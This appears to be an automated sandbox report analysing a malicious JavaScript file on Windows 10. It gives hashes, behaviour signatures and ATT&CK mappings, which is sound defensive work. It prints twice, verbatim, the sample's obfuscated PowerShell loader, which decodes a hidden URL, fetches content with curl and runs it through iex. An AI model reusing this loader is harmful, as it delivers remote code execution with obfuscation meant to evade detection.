4f0415e0a2fe049677c90258ef7e9578a91710f5eaa1ec60f08c0088db98746e

Analysis

max time kernel
94s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21/12/2024, 14:40

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General

Target

551618458ef8ffd1cf47b03230a8d9acb1df1e1894a10bc60c409e91a2d1a1ea.js
Size

174KB
MD5

3c071371480142e3f05df92e69c5174b
SHA1

a4932a18e3d353c76fd88b422eabeda60baa3fc4
SHA256

551618458ef8ffd1cf47b03230a8d9acb1df1e1894a10bc60c409e91a2d1a1ea
SHA512

2244b89674b795b76ddf0ce7d1d43aaa715167731ce6aa446d8300b074a488b4875b68359156597ce556937cdd7eac647acfd1cd9968125508e320f8cf43ea5f
SSDEEP

1536:nwVreHc0n2iNVEzUdF0YOGJzhBWOjoHc0n2iNVEzUdFvOGJzhBWOjDOGJzhBWOji:n60ft8GX0ftbD8bl0ftu00ft/

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1136	4828	conhost.exe	83

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	3492	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3492	powershell.exe
3492	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3492	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1136 wrote to memory of 3492	1136	conhost.exe	85
PID 1136 wrote to memory of 3492	1136	conhost.exe	85

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\551618458ef8ffd1cf47b03230a8d9acb1df1e1894a10bc60c409e91a2d1a1ea.js
1⤵
PID:1284

C:\Windows\system32\conhost.exe
conhost --headless powershell $fusgqjp='ur' ;new-alias printout c$($fusgqjp)l;$muqdgniwpbvxof=(8672,8683,8691,8675,8677,8672,8692,8691,8696,8629,8691,8625,8672,8620,8690,8685,8686,8621,8623,8620,8686,8678,8686,8637,8689,8635,8683,8679,8684,8690,8689,8624,8623);$srcgyhkv=('bronx','get-cmdlet');$thicwbgs=$muqdgniwpbvxof;foreach($jkxhpieba in $thicwbgs){$gjishanlmkvf=$jkxhpieba;$axjnusgcvqkpid=$axjnusgcvqkpid+[char]($gjishanlmkvf-8574);$mwgitaxblyndzp=$axjnusgcvqkpid; $afrqngtpuey=$mwgitaxblyndzp};$uanvgzptlijhs[2]=$afrqngtpuey;$itowcyxnujdr='rl';$bwqmsjue=1;.$([char](9992-9887)+'e'+'x')(printout -useb $afrqngtpuey)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $fusgqjp='ur' ;new-alias printout c$($fusgqjp)l;$muqdgniwpbvxof=(8672,8683,8691,8675,8677,8672,8692,8691,8696,8629,8691,8625,8672,8620,8690,8685,8686,8621,8623,8620,8686,8678,8686,8637,8689,8635,8683,8679,8684,8690,8689,8624,8623);$srcgyhkv=('bronx','get-cmdlet');$thicwbgs=$muqdgniwpbvxof;foreach($jkxhpieba in $thicwbgs){$gjishanlmkvf=$jkxhpieba;$axjnusgcvqkpid=$axjnusgcvqkpid+[char]($gjishanlmkvf-8574);$mwgitaxblyndzp=$axjnusgcvqkpid; $afrqngtpuey=$mwgitaxblyndzp};$uanvgzptlijhs[2]=$afrqngtpuey;$itowcyxnujdr='rl';$bwqmsjue=1;.$([char](9992-9887)+'e'+'x')(printout -useb $afrqngtpuey)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5rafvvr2.q5q.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3492-0-0x00007FF81E833000-0x00007FF81E835000-memory.dmp

Filesize
8KB

Download
memory/3492-1-0x0000016123A70000-0x0000016123A92000-memory.dmp

Filesize
136KB

Download
memory/3492-11-0x00007FF81E830000-0x00007FF81F2F1000-memory.dmp

Filesize
10.8MB

Download
memory/3492-12-0x00007FF81E830000-0x00007FF81F2F1000-memory.dmp

Filesize
10.8MB

Download
memory/3492-13-0x00007FF81E830000-0x00007FF81F2F1000-memory.dmp

Filesize
10.8MB

Download
memory/3492-14-0x00007FF81E830000-0x00007FF81F2F1000-memory.dmp

Filesize
10.8MB

Download
memory/3492-15-0x00007FF81E833000-0x00007FF81E835000-memory.dmp

Filesize
8KB

Download
memory/3492-16-0x00007FF81E830000-0x00007FF81F2F1000-memory.dmp

Filesize
10.8MB

Download
memory/3492-19-0x00007FF81E830000-0x00007FF81F2F1000-memory.dmp

Filesize
10.8MB

Download